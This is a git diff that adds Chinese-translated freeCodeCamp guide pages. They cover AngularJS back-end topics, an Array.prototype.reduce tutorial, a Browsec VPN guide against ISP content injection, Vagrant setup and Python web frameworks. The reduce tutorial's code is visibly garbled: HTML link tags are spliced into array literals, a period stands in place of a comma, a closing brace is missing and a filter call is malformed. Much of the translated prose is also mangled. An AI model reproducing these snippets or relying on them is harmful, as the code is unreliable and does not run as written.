+PS。感谢Roger Dudler的[这本指南](http://rogerdudler.github.io/git-guide/) ，让事情变得简单。
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/using-angular-js-for-the-back-end-projects/index.md b/client/src/guide/chinese/miscellaneous/using-angular-js-for-the-back-end-projects/index.md
new file mode 100644
index 0000000000..659c34d9b4
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/using-angular-js-for-the-back-end-projects/index.md
@@ -0,0 +1,34 @@
+---
+title: Using AngularJS for the Back End Projects
+localeTitle: 将AngularJS用于后端项目
+---
+在这里，您将找到有助于您了解更多内容并完成后端项目的文章。
+
+## 目录
+
+*   第1部分：前端
+    
+    *   [前端文件结构](https://guide.freecodecamp.org/miscellaneous/front-end-file-structure)
+    *   [创建新路线](https://guide.freecodecamp.org/miscellaneous/create-a-new-route-in-angular)
+    *   [创建一个新指令](https://guide.freecodecamp.org/miscellaneous/creating-a-new-directive-in-angular)
+    *   [咕噜](https://guide.freecodecamp.org/miscellaneous/what-is-grunt)
+*   第2部分：后端
+    
+    *   [后端文件结构](https://guide.freecodecamp.org/miscellaneous/backend-file-structures-in-angular)
+    *   [创建新的API端点](https://guide.freecodecamp.org/miscellaneous/create-a-new-api-endpoint-in-angular)
+    *   [修复exports.update](https://guide.freecodecamp.org/miscellaneous/fixing-exportsupdate-in-angular)
+*   第3部分：前端和后端之间的接口
+    
+    *   [从前端访问数据库](https://guide.freecodecamp.org/miscellaneous/accessing-the-database-from-your-front-end)
+    *   [种子数据](https://guide.freecodecamp.org/miscellaneous/seed-data-in-angular)
+    *   [快速提示：保持数据同步](https://guide.freecodecamp.org/miscellaneous/keep-data-in-sync-in-angular)
+*   第4部分：使用$ routeParams的动态URL，更有用的API
+    
+    *   [使用$ routeParams的动态URL](https://guide.freecodecamp.org/miscellaneous/dynamic-urls-using-routeparams-in-angular)
+    *   [更有用的API](https://guide.freecodecamp.org/miscellaneous/make-useful-apis-in-angularjs)
+*   第5部分：Auth，JS-IsLoggedInAsync
+    
+    *   [获取有关当前用户的信息](https://guide.freecodecamp.org/miscellaneous/get-information-about-the-current-user-in-angularjs)
+    *   [将页面限制为经过身份验证的用户](https://guide.freecodecamp.org/miscellaneous/restrict-access-to-authenticated-users-only)
+    *   JS-IsLoggedInAsync
+*   [奖金：SocketIO](https://guide.freecodecamp.org/miscellaneous/angular-socketio)
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/using-arrayprototypereduce-to-reduce-conceptual-boilerplate-for-problems-on-arrays/index.md b/client/src/guide/chinese/miscellaneous/using-arrayprototypereduce-to-reduce-conceptual-boilerplate-for-problems-on-arrays/index.md
new file mode 100644
index 0000000000..7e08ecd6bc
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/using-arrayprototypereduce-to-reduce-conceptual-boilerplate-for-problems-on-arrays/index.md
@@ -0,0 +1,359 @@
+---
+title: Using Arrayprototypereduce to Reduce Conceptual Boilerplate for Problems on Arrays
+localeTitle: 使用Arrayprototypereduce减少概念Boilerplate的阵列问题
+---
+那真是一口气！它可能刚刚被命名为**Use `Array.prototype.reduce()`以轻松解决数组问题**或者**`Array.prototype.reduce()` FTW！** 。这本来就更容易阅读和解析。
+
+但事实并非如此。 JavaScript中的循环就是这样的。它们不简洁，它们会让你在丛林中徘徊一段时间。正如笑话所说，计算机科学中最难的是两件事 - [缓存失效](https://en.wikipedia.org/wiki/Cache_invalidation) ， [命名事物](https://www.quora.com/Why-is-naming-things-hard-in-computer-science-and-how-can-it-can-be-made-easier)和[一个错误](https://en.wikipedia.org/wiki/Off-by-one_error) 。
+
+然后存在[在for循环](http://stackoverflow.com/questions/11488014/asynchronous-process-inside-a-javascript-for-loop)中编写[异步代码而不使用IIFE闭包的危险](http://stackoverflow.com/questions/11488014/asynchronous-process-inside-a-javascript-for-loop) 。
+
+本文将从声明开始 - 您可以避免使用for循环或while循环来解决任何与`Array`相关的问题。相反，您可以使用`Array.prototype.reduce()`解决所有问题。如果你想读书;确保您了解递归函数，以及一些很酷的函数工具，如`Array.prototype.map()`或`Array.prototype.filter()` 。
+
+大索赔需要大量证据。因此，让我们演示如何使用`reduce()`来习惯。
+
+你知道的时候，如果你还没有解决FreeCodeCamp算法的脚本部分，你可能想继续阅读下一部分。一些例子可以很好地匹配这些问题。
+
+这是陈词滥调的扰流警报;确保你给这些问题一个诚实的尝试，而不是在你尝试之前先看看解决方案。
+
+此外，如果你已经足够了解它，也许你想回顾这篇文章并提供反馈。
+
+## 我可以减少任何与阵列相关的问题吗？
+
+是的你可以！事实上，问题甚至不必有一个数组 - _它只是一个问题，你可以创建一个中间数组_ 。
+
+我们来举个例子吧。从标准的白色间隔字符串创建一个[slug url](https://en.wikipedia.org/wiki/Semantic_URL#Slug)是很常见的，例如新闻标题，博客文章标题甚至问答论坛上的问题。
+
+比如说，我们必须编写一个实用程序函数来创建这个slug。你可能会写这样的东西：
+```
+function createSlug(str){ 
+  return str.split(" ").reduce(function(prev, next){ 
+    return prev.concat(<a href='https://signalvnoise.com/posts/3124-give-it-five-minutes' target='_blank' rel='nofollow'>next.toLowerCase()]); 
+  }, []) 
+  .join("-"); 
+ } 
+```
+
+不要相信我的话！来吧，在你的控制台中测试一下像“Leo终于赢得了一个惊人的奥斯卡奖”！看看它的回报。我会等......干嘛？好的，继续前进。
+
+是的，它不是一个强大的实现。它没有处理一些边缘情况，也假设连接应该以`"-"`发生。
+
+但这是一个开始。请注意`reduce`的用法如何使样板不受影响 - 操作只发生在以下行：
+```
+return prev.concat([next.toLowerCase()]); 
+```
+
+这是我们想要的功能的核心。事实上，我们非常确信它的真棒，我们用`return`语句启动`function`体！
+
+你可能会想象，这看起来像黑暗魔法。确保这不是一个下意识的反应，因为你太习惯于写循环。只是\[给它五分钟！
+
+如果上述代码不清楚，您需要了解`reduce`工作原理。通过_理解_ ，我的意思是，知道它像你的手背。
+
+## 但我根本不理解减少！
+
+好吧，不要害怕！你将在接下来的几分钟内成为一名`reduce`忍者。
+
+每个JavaScript函数都需要知道三件事，以了解函数的工作原理：
+
+*   输入
+*   输出
+*   执行上下文
+
+是的，我可以看到您在新标签中打开官方[MDN文档](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/Reduce) ！没关系，先读一下。我很认真，这不是开玩笑。
+
+你应该始终从官方文档开始了解一些事情。
+
+好，现在你与困惑`prev`和`next`回调中;你准备好按照这里的文字。
+
+`Array.prototype.reduce()`将回调和初始值作为输入参数（初始值很重要。许多开发人员忘记正确提供初始值;并搞砸了他们的代码）。
+
+正如您在文档中看到的那样，它还需要一些额外但可选的参数。但稍后会有更多。假设`arr`是一个任意数组。
+```
+arr.reduce(function(){}, initialValue); 
+```
+
+现在，让我们仔细看看回调函数，它是`reduce`的第一个参数。反过来，这个回调有两个参数。这两个论点在官方文档中称为`prev`和`next` 。就个人而言，我认为这些名称并不符合其真实性质。
+
+因此，在整个文本中，我们将它们称为`acc` ，以表示累积值;和`item` ，表示正在访问的当前项目。
+
+到目前为止，这是`reduce`应该是什么样子：
+```
+arr.reduce(function(acc, item){ 
+ /* here you have to complete the function */ 
+ }, initialValue); 
+```
+
+现在，让我们看看这些`acc`和`item`的价值是什么。我们之前已经提到过`reduce`是迭代结构的替代品。
+
+按理说， `reduce`会采用你的自定义回调函数;并遍历已调用`reduce`的Array。
+
+不要描述这些，让我们问JS执行引擎这些是什么！
+```
+var arr = <a href='http://javascriptissexy.com/understand-javascripts-this-with-clarity-and-master-it/' target='_blank' rel='nofollow'>10, 20, 30, 60]; 
+ arr.reduce(function(acc, item){ 
+   console.log(acc, item); 
+ }, 0); 
+```
+
+在浏览器或节点控制台中执行上述操作会将此作为输出：
+```
+0 10 
+ undefined 20 
+ undefined 30 
+ undefined 60 
+```
+
+请注意，输出的数量与数组`[10, 20, 30, 60]`的元素数量相同。实际上，它会打印出Array的元素！
+
+因此，我们可以推断出`reduce()`接受自定义回调并在Array的每个元素上执行它。这样做时，它使当前项可用作自定义回调作为`item`参数。
+
+但是`acc`怎么样？我们看到除了第一行之外，当`item = 10` ，它是`undefined` 。在第一行中，它对应于第一次迭代，其值与`initialvalue`相同。
+
+总之，我们的`acc`累加器，不累积！
+
+但那么，我们如何使它积累？让我们试试这个：
+```
+var arr = [10, 20, 30, 60]; 
+ arr.reduce(function(acc, item){ 
+   console.log(acc, item); 
+   return acc; 
+ }, 0); 
+```
+
+这次输出变为：
+```
+0 10 
+ 0 20 
+ 0 30 
+ 0 60 
+```
+
+如您所见， `acc`的值始终保持不变。这是预期的 - 我们不会在自定义回调中的任何位置改变`acc`的值。我们返回在给定迭代中可用的任何`reduce` 。
+
+但我们确实意识到了一些东西 - 当前迭代的`acc`值，将是来自前一次迭代的自定义回调的`return`值。最终，当迭代结束时， `acc`的最终值将通过`reduce`调用返回。
+
+这只留下了我们理解中的一个重要部分 - 执行环境的价值，或者\[ `this` ！
+
+所以，我们再次接近我们的友好邻居JS控制台并执行：
+```
+var arr = <a href='https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Strict_mode' target='_blank' rel='nofollow'>10, 20, 30, 60]; 
+ arr.reduce(function(acc, item){ 
+   console.log(acc, item, this); 
+   return acc; 
+ }, 0); 
+```
+
+如果您处于\[严格模式，它将返回`undefined`作为`this`值。否则，在浏览器，它会指向[`window`](https://developer.mozilla.org/en-US/docs/Web/API/Window)对象作为`this` 。我们可以使用[`bind`](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_objects/Function/bind)覆盖和设置它们吗？当然！只需使用`bind`与回调：
+```
+var arr = <a href='https://en.wikipedia.org/wiki/Loop_invariant' target='_blank' rel='nofollow'>10, 20, 30, 60]; 
+ arr.reduce(function(acc, item){ 
+   console.log(acc, item, this); 
+   return acc; 
+ }.bind(arr), 0); 
+```
+
+我已经绑定了数组`arr`本身;但您可以将其设置为环境中的任何对象。
+
+## 了解减少
+
+让我们总结一下我们对这个`reduce`函数的理解，以便于参考：
+
+*   Reduce将自定义回调作为其第一个参数，并将一些初始值作为其第二个参数。
+*   重要的是我们不要忘记第二个参数，即初始值;我们在使用它时明确设置它。
+*   自定义回调的输入参数是累计值`acc` ;和Array， `item`的当前`item` 。
+*   下一次迭代的`acc`值将是当前迭代中回调内部的返回值。
+*   使用`reduce()`全部意义在于正确地形成`acc` ;最后从`reduce()`调用返回它。
+
+你不要试着通过填鸭来记住它们！相反，让我们通过在真实代码中应用它们来记住它们。
+
+## 使用Reduce
+
+让我们从头顶开始一个简单的Array操作 - _在Array中找到最大值_
+
+为简洁起见，我假设它是一个整数数组。
+
+为了形成解决方案，我们需要考虑如何形成`acc`因为`reduce`需要我们的回调并迭代数组。
+
+我认为有用的一个想法是用\[loop-invariants\]来思考。无论阵列的大小或内容如何，​​我们都想提出一个配方;到目前为止， `acc`应始终具有最大值。
+
+说，我的阵列是`[20, 50, 5, 60]` 。经过两次迭代; `item`为`5` ， `acc`应为`max(20, 50) = 50` `acc` `max(20, 50) = 50` 。
+
+_到目前为止_ ， `acc`总是获得最大的_子阵列_的唯一方法是，如果我们总是选择当前`item`最大值并且`acc` - 并且返回他的赢家！
+
+那么，这就是函数的样子：
+```
+var arr = [20, 50, 5, 60]; 
+ arr.reduce(function(acc, item){ 
+  return Math.max(acc, item); 
+ }, 0); 
+```
+
+与函数式编程原理相结合，可能会像以下一样重写它;
+```
+var arr = [20, 50, 5, 60]; 
+ arr.reduce(Math.max, 0); 
+```
+
+但是这不会起作用并会返回`NaN` 。这是原因 - `acc`和`item`不是自定义回调的**唯一**参数。当您调用[`Math.max()`](//forum.freecodecamp.com/t/javascript-math-max/14682)尝试在非数字参数上调用它时，会产生`NaN` 。
+
+请注意，我没有考虑选择初始值。我把它选为`0` ;导致一个错误！
+
+那么，如果我的数组由小于零的值组成呢？比如说， `arr = <a href='https://en.wikipedia.org/wiki/Least_common_multiple' target='_blank' rel='nofollow'>-7, -56, -5, -2]` 。返回的值将为`0` ，即使在Array `arr`也不存在。
+
+相反，我们应该为初始值选择尽可能低的值。
+```
+var arr = [-20, -50, -5, -60]; 
+ arr.reduce(function(acc, item){ 
+  return Math.max(acc, item); 
+ }, -Infinity); 
+```
+
+我们到了那里。我们应该在另一个与阵列相关的问题上磨练我们只是为了享受一些乐趣，让我们更加强硬一点。
+
+比如，我们要找到\[整数数组的LCM。现在，从理论上讲，我们知道两个数字的LCM将是它们的乘积，除以它们的[HCF](https://en.wikipedia.org/wiki/Greatest_common_divisor) 。
+
+存在用于HCF发现的Eucledian算法;它的实施和丰富。没有必要浪费你的时间让你自己写一个HCF功能，或者找一个。
+
+相反，让我们看看如何将两个数字的LCM扩展为多个数字的LCM。 Newsflash - 它不是整个阵列的产品除以它们的HCF。不。那在数学上是错误的。
+
+三个数字的LCM将是前两个数字的最小公倍数;然后是第一个LCM的LCM和剩余的数字。同样，您可以制定策略以首先找出子阵列的LCM，然后取另一个数字并使用第一个LCM找到其LCM。
+
+那么，我们如何制定解决方案呢？我们需要在迭代的中间考虑`acc` 。毫无疑问，最终的`acc`应该是整个阵列的LCM。但在第`nth`次迭代期间也是如此; `acc`应该保持到目前为止所经过的`(n-1)`元素的最小公倍数。
+
+是的，初始值。它应该是一个数字，其LCM与另一个数字将是另一个数字。显然，它是`1` 。
+
+让我们写下我们的`reduce`解决方案。
+```
+var arr = <a href='http://www.freecodecamp.com/challenges/symmetric-difference' target='_blank' rel='nofollow'>1, 2, 3, 4, 5, 6]; 
+ arr.reduce(function(acc, item){ 
+  return acc * item / hcf(acc, item); 
+ }, 1); 
+```
+
+我假设环境中有一个`hcf()`函数。我在某种程度上选了条目;它应该返回`60`作为答案。
+
+## 更多减少
+
+Reduce不仅仅是为您提供实用程序来解决一些Mathy问题的函数，例如数组的总和，数组的hcf，数组的最小值等。
+
+它完全有能力超越。我们现在将处理一些复杂的例子。
+
+说，你希望压扁嵌套数组。是的，在您开始在座位上上下跳跃之前 - 嵌套可以是任意级别的深度。
+
+例如，我们可以使用此Array来测试我们的代码。
+```
+var arr = [[1, 2, 3], ['cat', 'dog', ['fish', 'bird'], [[[]]]]]; 
+```
+
+这看起来非常复杂 - 嵌套数组，具有不同深度的空嵌套数组。
+
+输出应该是`[1, 2, 3, 'cat', 'dog', 'fish', 'bird']`
+
+现在是制定战略的时候了。我们显然需要区分数组和元素。此外， `acc`应该是整个迭代过程中形成的数组;意思是初始值是一个空数组`[]` 。
+
+在整个回调函数代码中，我们只需从`item`提取内容，该内容可以是深度嵌套的数组;我们将`Array.prototype.concat()`与`acc`值一起使用。最好在`Array.prototype.push()`上使用`concat()` `Array.prototype.push()` ;因为`push()`改变了原始数组;而`concat()`创建一个新数组并返回它。
+
+因为我们不知道任何给定时刻的嵌套水平;我们必须递归地调用我们的自定义回调。意思是，我们必须在其他地方写它并在`reduce()`通过名称来调用它。
+```
+var arr = [[1, 2, 3], ['cat', 'dog', ['fish', 'bird'], [[[]]]]]; 
+ 
+ function flattenArray(arr) { 
+  return arr.reduce(function(acc, item){ 
+    if(Array.isArray(item)){ 
+      return acc.concat(flattenArray(item)); // recursively call to flatten nested array 
+    return acc.concat(item); // this does the ordering. If you want reverse ordered output, just reverse it! 
+  }, []) 
+ 
+ } 
+ 
+ // call it like this 
+ flattenArray(arr); 
+```
+
+当然，这需要一些递归函数的背景;但是，与这个漫长的问题相比，这并不难以接受！
+
+是的，继续玩吧。但请注意我们如何能够简单地编写3-4行清晰函数，并记住一些简单的指导原则 - 并做一些尽可能复杂的事情。这是可读和可维护的。
+
+例如，如果你想稍后改变或调整逻辑逻辑（假设你想要大写一些字符串或编码一些字符串）;你可以很容易地确定改变的地方。实际嵌套发生在`if`条件内。我们在那里使用`reduce`调用的方式 - 它维护元素在数组中的顺序。
+
+让我们看看另一个看似复杂的例子吧，让它屈服于`reduce`之剑！
+
+我们要找出\[两个或更多阵列的对称差异。它看起来令人生畏;但是你开始思考了。
+
+初始值是多少？当然，我们正在组建一个阵列;所以这将是一个空数组`<a href='https://github.com/reactjs/redux' target='_blank' rel='nofollow'>]`开头。然后是`acc` - 因为我们的最终解决方案将包含差异数组;它也必须是一个数组。这将继续打击到目前为止所遇到的数组的对称差异。
+
+需要明确的是，这个函数可以接受任意数量的数组;因此，我们必须将它们全部转换为数组数组以便于操作。
+```
+function symDiff(args){ 
+  // convert args to an Array 
+  var argsArray = Array.prototype.slice.call(arguments); 
+ 
+  // now do the reduce magic! 
+  argsArray.reduce(function(acc, item){ 
+    return acc 
+      .filter(function(itemInAcc){ 
+        return item.indexOf(itemInAcc) === -1; 
+      }) 
+      .concat(item.filter(function(itemInItem){ 
+        return acc.indexOf(itemInItem) === -1; 
+      })); 
+  }. []); 
+ } 
+```
+
+是的我知道。它看起来很大。所以，让我们看看我们是否可以重构以使其变小。请注意，两个`filter`功能都做同样的工作;除了改变了一组参数对。凉！让我们创建一个单独的函数，并用这些参数调用它两次。
+```
+function symDiff(args){ 
+  // convert args to an Array 
+  var argsArray = Array.prototype.slice.call(arguments); 
+ 
+  // now do the reduce magic! 
+  argsArray.reduce(function(acc, item){ 
+    var funWithFiltering = function(arr1, arr2){ 
+      return arr1.filter(function(itemInArr1){ 
+        return arr2.indexOf(itemInArr1) === -1; 
+      }); 
+    }; 
+ 
+    return funWithFiltering(acc, item).concat(funWithFiltering(item, acc)); 
+  }. []); 
+ } 
+```
+
+这看起来更好。但还有一个问题。这将在数​​组中保留重复。如果不需要，我们可以使用`reduce`轻松编写另一个函数来删除重复项。
+```
+function removeDuplicates(arr){ 
+  arr.filter(item, index, self){ 
+    // Keep only the first instance of the array, as given by indexOf() 
+    // Remove other elements from Array 
+    return self.indexOf(item) === index; 
+  } 
+ } 
+```
+
+我们不能再继续忽视这一点了。我一直在使用`filter`同时承诺使用`reduce` ，对吗？原因很简单 - `filter`可以用`reduce`编写。实际上，任何阵列操作，理论上;可以用`reduce()` 。
+
+试一试！用`reduce`实现`map`和`filter` 。你也必须处理可选参数。
+
+## 包起来
+
+哇，这是相当多的！但是我想我已经做了一个强有力的使用`reduce`情况，只要你想用循环来完成它。习惯于它就像它的第一天性。
+
+一旦你在某些String转换或数组操作上遇到问题;从写作开始
+```
+return arr.reduce(function(acc, item){_}, _); 
+```
+
+然后填写空白。当您使用`reduce()` ，您正在考虑每个元素与另一个元素的交互。你是通过从头到尾依据来形成输出的。
+
+框架\[Redux采用了`reduce`原则，在网页设计中越来越受欢迎。
+
+还要注意另一个显着特征 - `reduce`力量或引导您形成解决方案而不改变现有的任何东西。例如，在最后一个例子中;我们过滤和连接 - 但我们知道它会按原样运行;因为第一组操作没有改变该迭代中的任何`acc`或`item` 。
+
+这将是与您保持一致的好时机，即`initialValue`参数是[可选的](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/Reduce#Parameters) 。您无需明确提供。
+
+如果省略这个;对于第一次迭代， `acc`将是数组中的第一项，而`item`将是数组中的第二项。这意味着我们可以编写一个数组实用程序的总和，只是省略它。或者，如果在数组中找到最大值，我们不需要考虑`-Infinity` - 如果我们删除初始值，它将工作得很好。
+
+但是在一些复杂的情况下，最好根据一些基础 - 一些初始化来可视化和制定解决方案。但是，如果没有它你会更舒服，对每个人来说都是他自己！
+
+如果您有任何进一步的问题或建议，请加入我们的[gitter聊天室](https://gitter.im/FreeCodeCamp/FreeCodeCamp) ;并告诉我们你如何`reduce` ！
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/using-browsec-for-securing-your-connection-to-freecodecampcom/index.md b/client/src/guide/chinese/miscellaneous/using-browsec-for-securing-your-connection-to-freecodecampcom/index.md
new file mode 100644
index 0000000000..94be6d8757
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/using-browsec-for-securing-your-connection-to-freecodecampcom/index.md
@@ -0,0 +1,97 @@
+---
+title: Using Browsec for Securing Your Connection to Freecodecampcom
+localeTitle: 使用Browsec保护与Freecodecampcom的连接
+---
+### 为什么我需要一个插件或插件？
+
+最近一些营员开始面临奇怪的问题，即一些互联网服务提供商（ISP）的“内容修改”，导致[FreeCodeCamp.com](http://freecodecamp.com) （FCC）网站有时被打破。
+
+这与露营者记录的一些问题有关：
+
+*   [＃5999：印度ISP注入广告中断网站](https://github.com/FreeCodeCamp/FreeCodeCamp/issues/5999)
+*   [＃6122：严重问题使用FCC IDE，控制台显示错误...](https://github.com/FreeCodeCamp/FreeCodeCamp/issues/6122)
+*   [＃6381：无法在浏览器中查看代码编辑器](https://github.com/FreeCodeCamp/FreeCodeCamp/issues/6381)
+
+## TL; DR：又错了什么？
+
+嗯，对于一些露营者来说，这是[中间人攻击](https://en.wikipedia.org/wiki/Man-in-the-middle_attack)的经典案例。
+
+例如，正如问题＃5999所示 ，来自印度的一些露营者的ISP故意将广告注入用户访问过的网站，导致问题。
+
+而在其他情况下，ISP有时会使用类似的策略来缓存消费者访问的网站，以便他们可以将缓存的内容提供给访问相同网站的其他消费者，这可以节省带宽成本，同时使网站更快地可用。
+
+但是如果没有正确完成（或者像第一种情况那样做得不好），这会修改网站的基本内容，并阻止它们正常运行。
+
+## 那有什么问题呢？
+
+很简单，我们需要加密我们与FCC网站的连接。通过加密我们的流量，我们绕过了ISP在内容通过其基础架构时修改或缓存内容的能力。
+
+这可以通过名为[Browsec](https://browsec.com/en/)的有用浏览器插件来完成。
+
+### 附加组件如何工作？
+
+附加组件在您的设备和外部世界之间创建VPN连接。也就是说，Peeping Tom先生（ISP），不能搞乱你与FCC网站的联系。它在技术上与您不在家中相同，但从美国，荷兰或其他类似地方访问FCC网站。
+
+_在幕后它加密数据传输，并隐藏你的IP。_
+
+## 我卖了，告诉我步骤。
+
+你去！
+
+### 对于Google Chrome：
+
+#### 第1步：安装browsec扩展。
+
+您可以从官方[WebStore下载并安装](https://chrome.google.com/webstore/detail/browsec/omghfjlpggmjjaagoclmmobgdodcjboh) Chrome浏览器[插件](https://chrome.google.com/webstore/detail/browsec/omghfjlpggmjjaagoclmmobgdodcjboh) 。
+
+![“在Google Chrome WebStore上浏览”的图片](//discourse-user-assets.s3.amazonaws.com/original/2X/6/61bd52ed78c56369e62ca376b6dd9e56abcb6363.png)
+
+#### 第2步：清除浏览器cookie和缓存（可选）。
+
+如果您在第一次使用browsec时清除浏览器缓存，这是一件好事，这样您的浏览器就会从头开始加载所有文件。
+
+#### 第3步：重新启动浏览器，然后访问[FreeCodeCamp.com](http://freecodecamp.com)
+
+只需关闭浏览器，然后重新启动即可。检查browsec扩展，找到所需的端点位置。
+
+### 对于Mozilla Firefox：
+
+从[Browsec网站](https://browsec.com/en/dashboard/main)下载带有附加插件的便携式Firefox版本。
+
+![“在Google Chrome WebStore上浏览”的图片](//discourse-user-assets.s3.amazonaws.com/original/2X/b/b30fbf3bade330044e18b3c37409f2437a3810c1.png)
+
+而已！快乐的编码！如果这样可行，请在[帮助聊天中](https://gitter.im/FreeCodeCamp/Help)告诉我们
+
+## 常见问题解答
+
+### 如果我面对“中间人”攻击，我怎么知道？
+
+当您访问FCC网站或进行挑战时，如果您查看浏览器的开发者控制台（按F12>控制台选项卡），您应该会看到类似的错误，如下所示。
+
+![“错误”的图片](//discourse-user-assets.s3.amazonaws.com/original/2X/4/4949599e3143f454fc5a7174a81e65fa68d04c77.png)
+
+![“错误”的图片](//discourse-user-assets.s3.amazonaws.com/original/2X/0/039acb319bae57f31ebd78aa3c8987f324a37f84.png)
+
+![“错误”的图片](//discourse-user-assets.s3.amazonaws.com/original/2X/2/25dcc04ecddc422fb7ba113ddac3378d5decd905.png)
+
+这些是该问题的经典案例。
+
+### 等一下，我可以使用任何替代机制，来Browsec？
+
+是的，为什么不，您可以使用市场上任何可用的VPN客户端，但请记住，Browsec是免费的，工作得很好！
+
+### 嘿其他浏览器，Internet Explorer，Safari等等呢？
+
+嗯，对于这些浏览器可以找到的任何VPN附加组件， [Tor](https://www.torproject.org/) ，就是这样一个客户端，但是它们带有付费订阅，你基本上可以使用你想要的任何匿名器，但Chrome和Browsec都经过了试用和测试，过去曾为大多数露营者工作过。
+
+### 我可以使用匿名者来使用FCC以外的网站吗？
+
+当然是的。为什么不？但请记住，这并不会让你看不到法律，所以要小心你在做什么！ ![:wink:](//forum.freecodecamp.com/images/emoji/emoji_one/wink.png?v=2 "：眨眼：")
+
+### 如果这对我不起作用怎么办？
+
+请在[帮助聊天中](https://gitter.im/FreeCodeCamp/Help)告诉我们，我们会尽力找到解决方法。
+
+#### _放弃_
+
+**_FreeCodeCamp不认可本文中提到的任何软件，请自行决定使用它们。某些VPN客户端可能会跟踪您的活动，也可能存在副作用，例如速度慢或页面加载延迟。_**
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/using-vagrant-for-your-work-envirioment/index.md b/client/src/guide/chinese/miscellaneous/using-vagrant-for-your-work-envirioment/index.md
new file mode 100644
index 0000000000..9a7a323f04
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/using-vagrant-for-your-work-envirioment/index.md
@@ -0,0 +1,53 @@
+---
+title: Using Vagrant for Your Work Envirioment
+localeTitle: 使用Vagrant为您的工作环境
+---
+以下说明将帮助您安装必要的软件以及如何设置您的第一个Vagrant和Virtual Box。
+
+## 安装
+
+这将创建一个工作环境，以便您可以在本地计算机上测试您的网站。 **Vagrantfile**可以根据您的特定环境进行配置，以便与您合作的任何人都可以制作和查看更改，无论他们使用的是Linux，Mac OS X还是Windows。使用此虚拟环境，您将能够看到PHP脚本运行，构建和使用您的数据库等等。所以，没有进一步或做，让我们开始做生意。
+
+查看以下链接并安装每个程序。确保它与您的操作系统（操作系统）匹配。
+
+*   [虚拟盒子](https://www.virtualbox.org/)
+*   [流浪汉](https://www.vagrantup.com/downloads.html)
+*   [Git Bash，Gui和Command](https://git-scm.com/downloads)
+
+现在我们已经安装了必要的程序，让我们开始做生意。
+
+**Git**有几个我们可以在这里使用的不同程序。让我们打开**Git GUI** 。我们也可以启动**Virtual Box，**以便我们可以看到盒子在运行。
+
+运行**Git GUI后** ，您将看到几个选项。让我们选择顶部选项**“创建新存储库”** 。
+
+选择**“浏览”**按钮，然后选择要安装的驱动器并运行虚拟机/服务器。您可以右键单击文件夹区域并创建一个新文件夹。我们将它命名为**FreeCodeCampMachine** 。
+
+现在，您将看到**Git Gui** ，在Directory旁边，您应该看到**C：/ FreeCodeCampMachine** 。
+
+在底部，选择**“创建”**按钮。
+
+现在界面看起来不同了。不要担心底部的任何按钮，也不要担心顶部的所有选项。我们想要做一件事。选择左上角显示**“Repository”的**选项，然后在该选项下，您将找到**“Git Bash”** 。选择**Git Bash** 。
+
+现在我们看到我们在终端/控制台窗口中。您应该看到计算机的名称，然后是**MINGW64 / d / FreeCodeCampMachine（master）** 。这只是说我们在您创建的文件夹中运行，并且您在**主**存储库中。稍后我们将创建一个分支，但稍后我们会担心。
+
+现在，让我们抛出一些命令，让球滚动。首先输入以下内容并按Enter键：
+```
+$ git clone https://github.com/scotch-io/scotch-box myProject 
+```
+
+这将在您的目录中创建一个名为**“myProject”**的文件夹。接下来，让我们深入到该文件夹​​，输入以下命令并按Enter键：
+```
+$ cd myProject 
+```
+
+现在我们在我们想要的文件夹中。现在在命令行上键入以下内容并按Enter键：
+```
+vagrant up 
+```
+
+现在，让我们打开浏览器窗口并输入以下IP地址：
+```
+http://192.168.33.10/ 
+```
+
+您应该会看到**Scotch Box**的登录页面，告诉您存在的所有内容并进行安装。现在，当您浏览之前创建的文件时，您会发现一个**“公开”的文件** 。在该文件夹中，您将看到名为**“index.php”**的文件，这就是您对着陆页所看到的内容。您可以使用文本编辑器编辑该文件，保存并刷新浏览器以查看更改。
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/web-applications-using-python/index.md b/client/src/guide/chinese/miscellaneous/web-applications-using-python/index.md
new file mode 100644
index 0000000000..b661488d49
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/web-applications-using-python/index.md
@@ -0,0 +1,9 @@
+---
+title: Web Applications Using Python
+localeTitle: 使用Python的Web应用程序
+---
+[YouTube](http://highscalability.com/youtube-architecture) ， [Reddit](https://github.com/reddit/reddit) ， [Instagram](http://instagram-engineering.tumblr.com/post/13649370142/what-powers-instagram-hundreds-of-instances) ， [Quora](http://qr.ae/RUkZJd) ， [Pinterest](http://qr.ae/RUkZOJ) ， [Dropbox](http://eranki.tumblr.com/post/27076431887/scaling-lessons-learned-at-dropbox-part-1) ， [Bitbucket](https://blog.bitbucket.org/2012/08/24/segregating-services/)等广受欢迎的网站主要是用Python编写的。您可能会通过自己调查获得更全面的列表。
+
+显然，上面的列表并不完整;但这将是向你指出一些事情的好时机 - 用Python编写你的后端不会_自动_使你的网站像YouTube一样快速和可扩展。我们引用上面的网站列表，只是简单地指出Python是业内许多软件工程师的最爱，用于网络开发。
+
+Python为您提供了用于构建健壮，可伸缩的Web应用程序的lego块。您还可以在构建Python模块时轻松编写Python模块。但武器只有它的主人才有效。如果你不知道如何使用它，你最终可能会在脚下射击。
\ No newline at end of file
diff --git a/client/src/guide/chinese/miscellaneous/web-frameworks-in-python/index.md b/client/src/guide/chinese/miscellaneous/web-frameworks-in-python/index.md
new file mode 100644
index 0000000000..40991b04d0
--- /dev/null
+++ b/client/src/guide/chinese/miscellaneous/web-frameworks-in-python/index.md
@@ -0,0 +1,7 @@
+---
+title: Web Frameworks in Python
+localeTitle: Python中的Web框架
+---
+像Python开发中的大多数域一样，Python社区以极大的感情对待Web开发，并为我们提供了成熟，维护良好的框架;不同的复杂性。
+
